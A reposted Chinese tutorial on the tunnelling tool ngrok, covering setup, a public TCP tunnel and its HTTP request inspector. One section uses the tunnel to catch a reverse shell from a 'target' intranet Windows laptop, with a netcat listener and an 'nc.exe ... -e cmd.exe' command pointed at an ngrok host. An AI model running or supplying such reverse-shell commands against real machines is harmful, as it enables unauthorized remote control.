转载

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

然后按下 微软徽标键+R (PS:微软徽标键 就是 在你的键盘上Ctrl和Alt中间的那个键。 )

输入cmd然后回车。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

打开cmd后,将刚才解压出来的ngrok.exe拖入。

然后再输入 help 回车。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

可以看到它支持很多命令。

NAME:
  ngrok - tunnel local ports to public URLs and inspect traffic

DESCRIPTION:
   ngrok exposes local networked services behinds NATs and firewalls to the
   public internet over a secure tunnel. Share local websites, build/test
   webhook consumers and self-host personal services.
   Detailed help for each command is available with 'ngrok help<command>'.
   Open http://localhost:4040 for ngrok's web interface to inspect traffic.

EXAMPLES:
   ngrok http 80                    #secure public URL for port 80 web server
   ngrok http -subdomain=baz 8080   #port 8080 available at baz.ngrok.io
   ngrok http foo.dev:80            #tunnel to host:port instead of localhost
   ngrok tcp 22                     #tunnel arbitrary TCP traffic to port 22
   ngrok tls -hostname=foo.com 443  #TLS traffic for foo.com to port 443
   ngrok start foo bar baz          #start tunnels from the configuration file

VERSION:
  2.1.3

AUTHOR:
 inconshreveable - <alan@ngrok.com>

COMMANDS:
  authtoken    save authtoken toconfiguration file
  credits      prints author andlicensing information
  http         start an HTTP tunnel
  start        start tunnels by namefrom the configuration file
  tcp          start a TCP tunnel
  tls          start a TLS tunnel
  update       update ngrok to thelatest version
  version      print the versionstring
  help         Shows a list ofcommands or help for one command

使用前先要去注册个账号,

地址: https://dashboard.ngrok.com/user/login

不要告诉我你不会注册账号。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

先执行认证。

Windows 图:

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

会提示你Authtoken saved toconfiguration file:认证文件存到哪里。

Linux 图:

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

(PS: Authtoken懒得打码了,请不要搞事 )

认证Token导入好后,开始讲 内网穿透的部分。

./ngrok tcp 9999 **获得一个公网地址,如下图。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

ngrok 是不能后台运行的,所以我们要借助screen(用法百度)实现后台运行。

然后再nc -vv -l -p 9999

然后目标机器(内网的windos笔记本)执行

nc.exe -vv 0.tcp.ngrok.io 15996 -e c:/Windows/System32/cmd.exe

0. tcp.ngrok.io 15996 为刚才利用ngrok 得到的公网地址,如下图

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

然后就反弹回来shell。(PS:由于作者手中没有内网的服务器所以没截图)

下面讲内网机器做HTTP请求记录器:

只需要执行ngrok.exe http 80就可以了。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

会发现Tunnel Status online时

Forwarding                    http://771c988f.ngrok.io -> localhost:80
Forwarding                    https://771c988f.ngrok.io -> localhost:80

访问后会有记录。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

http://localhost:4040 是在线控制台,可以看请求的详细信息。

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

如果你在80端口搭建了HTTP服务器,那么他就不是显示这个页面:

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

原文  http://www.freebuf.com/sectool/111956.html
正文到此结束
Loading...